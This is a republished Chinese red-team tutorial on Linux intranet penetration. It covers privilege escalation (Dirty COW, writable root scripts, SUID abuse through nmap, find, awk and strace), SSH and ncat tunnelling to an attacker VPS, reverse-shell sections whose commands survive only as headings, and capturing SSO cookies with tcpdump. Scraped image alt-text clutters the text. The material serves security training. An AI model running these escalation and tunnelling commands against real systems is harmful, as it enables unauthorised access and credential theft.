加入收藏 | 设为首页 | 会员中心 | 我要投稿 成都站长网 (https://www.028zz.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 搭建环境 > Linux > 正文

红蓝对抗之Linux内网渗透

发布时间:2022-09-30 13:30:54 所属栏目:Linux 来源:网络
导读: 前言
上篇(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,

前言

上篇(附录1)主要讲的是Windows这块,最近知识星球“腾讯安平密友圈”提到了一个问题“为什么内网渗透偏向于Windows”,笔者也在下面进行了相关回复,除了传统的信息收集、弱口令以外,Linux内网渗透也有很多可玩性。

linux 内网渗透_linux渗透_linux 渗透

linux 渗透_linux渗透_linux 内网渗透

关注知识星球,获取独享技术干货

在服务器方面,Linux由于开源、稳定、灵活、社区支持等因素,市场占有率远比Windows大,并且广大业务逐步上云使用docker容器等原因,所以Linux渗透攻击也是蓝军极为常见和必备的技能。

本文将以蓝军攻击视角,介绍常用的Linux内网渗透的手法,包括提权、隧道、反弹shell、登录态、云安全和工具化,主要让大家了解内网渗透的手法和危害,以攻促防,希望能给安全建设带来帮助。

提权

Linux不像Windows有那么多的提权EXP,不会动不动就出现各种烂土豆系列,因此Linux提权常常成为一个难点。本章将介绍一些Linux上的提权手法。

2.1 利用内核漏洞进行提权

脏牛漏洞(CVE-2016-5195)是一个影响2007年-2016年长达9年发行的Linux系统的提权漏洞,恶意用户可以利用条件竞争获取ROOT权限。

这里以写文件的手段来演示下该漏洞利用方法。

本次漏洞环境如下:

linux 渗透_linux 内网渗透_linux渗透

根目录下存在test.txt:

linux渗透_linux 渗透_linux 内网渗透

普通用户只能查看而不能修改:

linux 渗透_linux渗透_linux 内网渗透

利用EXP成功写入文件到只读文件中:

linux 渗透_linux 内网渗透_linux渗透

附上该漏洞的POC集合地址:

笔者不太喜欢用此类EXP,包括Window上的溢出类漏洞,因为此类漏洞有可能会导致系统崩掉,对于客户环境、敏感系统还是慎用。

针对此类漏洞有些同学会有如下疑问:

Q:为什么我执行以后会卡死?

A:尝试使用反弹的方式,即交互式/半交互式的方法进行。

2.2 利用文件权限配置不当进行提权

当某个进程启动权限为ROOT,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权。

pspy(附录2)工具提供了普通用户权限即可监听进程信息,该工具原理很简单,循环遍历/proc下的值来获取进程参数信息:

linux 渗透_linux渗透_linux 内网渗透

如果我们设置hidepid,该工具就会失效,如:

mount -o remount,rw,hidepid=2 /proc

该工具就什么输出都不会有,或者只有问号:

linux 渗透_linux渗透_linux 内网渗透

linux渗透_linux 内网渗透_linux 渗透

这里我们使用pspy作为辅助演示(当没设置hidepid时)。

前期准备中,首先我们创建一个while循环,并使用ROOT用户循环执行/tmp/1.sh。然后当我们获取USER普通用户权限时,利用pspy可以监控到ROOT用户在持续执行/tmp/1.sh:

linux 渗透_linux渗透_linux 内网渗透

尝试查看/tmp/1.sh文件内容和权限,发现我们当前用户具备读写权限:

linux 渗透_linux渗透_linux 内网渗透

我们尝试替换文件内容,查看是否会以ROOT权限启动其中命令:

linux 渗透_linux渗透_linux 内网渗透

发现成功提权,以ROOT权限启动自定义命令:

linux 内网渗透_linux 渗透_linux渗透

2.3 利用SUID程序进行提权

当程序运行需要高权限,但是用户不具备高权限时,这时则可以给文件设置SUID,使得用户在执行文件时将以文件所有者的权限来运行文件,而不是运行者本身权限。

首先/tmp/test存在如下文件:

linux渗透_linux 渗透_linux 内网渗透

正常执行结果如下:

linux渗透_linux 渗透_linux 内网渗透

当设置SUID时,执行结果如下:

chmod +s ./test

linux 内网渗透_linux渗透_linux 渗透

linux 渗透_linux 内网渗透_linux渗透

执行结果依然是当前用户,为何?

这是因为在高版本Linux(附录3)中,如果启动bash的的Effective UID与Real UID不相同,而且没有使用-p参数,则bash会将Effective UID还原成Real UID。即如果就算有S位,但没有使用-p参数,则最终执行的权限依然是当前用户的权限。

可以使用setuid(附录4)使得bash当前Effective UID和Real UID相同来达到提权效果:

#include

main()

{

setuid(0);

system("whoami > /tmp/test.txt");

}

linux 渗透_linux 内网渗透_linux渗透

我们可以使用如下命令来寻找服务器上设置了SUID的应用程序:

find / -perm -u=s -type f 2>/dev/null

linux 渗透_linux 内网渗透_linux渗透

下面列举几个常见的设置了SUID的应用程序提权手段。

nmap

nmap --interactive

!sh

find

find . -type f -exec /bin/bash \;

awk

awk 'BEGIN {system("/bin/bash")}'

strace

strace -o/dev/null /bin/bash

隧道

Linux上可以利用自带和第三方工具进行隧道开启,利用隧道,我们可以建立Socks连接、端口转发等操作。

3.1 SSH

Linux上耳熟能详的就是SSH了,我们来看下SSH常用的开启隧道的命令。

场景a:在控制A机器时,利用socks代理进入A机器所在内网

ssh -qTfnN -D 1111 root@AIP

输入A机器密码,本地利用proxychains等类似工具连接本地的1111端口的sock5连接即可代理A机器的网络。

场景b:如果控制A、B机器,A能够访问B,且能出网,B能够访问C,但不能出网linux渗透,A不能访问C

A机器执行:

ssh -CNfg -L 2121:CIP:21 root@BIP

输入BIP机器密码,访问A机器的2121端口即是访问CIP的21端口。

场景c:控制A机器,A能够访问B

A机器执行:

ssh -CNfg -R 2121:BIP:21 root@hackervps

输入黑客VPS密码,访问黑客VPS的2121端口即是访问BIP的21端口。

3.2 nc/ncat

服务端执行监听命令:

ncat --sh-exec "ncat 127.0.0.1 22" -l 80 --keep-open

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

3.3 portmap

服务端执行:

portmap -m 1 -p1 80 -h2 127.0.0.1 -p2 22

客户端连接服务端的80端口即可SSH连接:

SSH root@serverip -p 80

3.4 portfw

服务端执行:

tcpfwd 0.0.0.0:443 127.0.0.1:22

客户端连接服务端的443端口即可SSH连接:

SSH root@serverip -p 443

反弹shell

Linux上也存在一些自带命令/工具,来进行反弹shell得到一个(非)交互式shell。

下述命令中的yourip为攻击者监听的ip;yourport为攻击者监听的端口。

4.1 bash

4.2 netcat

4.3 php

linux 内网渗透_linux渗透_linux 渗透

4.4 perl

linux 内网渗透_linux 渗透_linux渗透

4.5 python

linux渗透_linux 内网渗透_linux 渗透

4.6 ruby

linux 内网渗透_linux 渗透_linux渗透

4.7 telnet

4.8 openssl 加密

服务端生成证书:

linux 内网渗透_linux 渗透_linux渗透

服务端监听:

受控端执行:

linux 渗透_linux 内网渗透_linux渗透

4.9 完全交互式shell

attack端执行:

victim端执行:

现在ctrl+c也不会退出:

linux 渗透_linux渗透_linux 内网渗透

登录态

现在越来越多的系统接入SSO、零信任,用户友好度提升了,但是也伴随了大量风险,比如如果单点故障了怎么办。其他安全风险呢?如果我们拿下其中一台可信服务器的权限,是否也伴随着未做隔离的站点也沦为了能快速拿权限的攻击目标?

5.1 tcpdump

tcpdump是一款网络抓包的程序,在SSO、零信任的场景中,我们可以利用它来获取用户的登录态、Cookie等敏感信息,然后利用这些信息去登录其他未做隔离的站点。

(编辑:成都站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!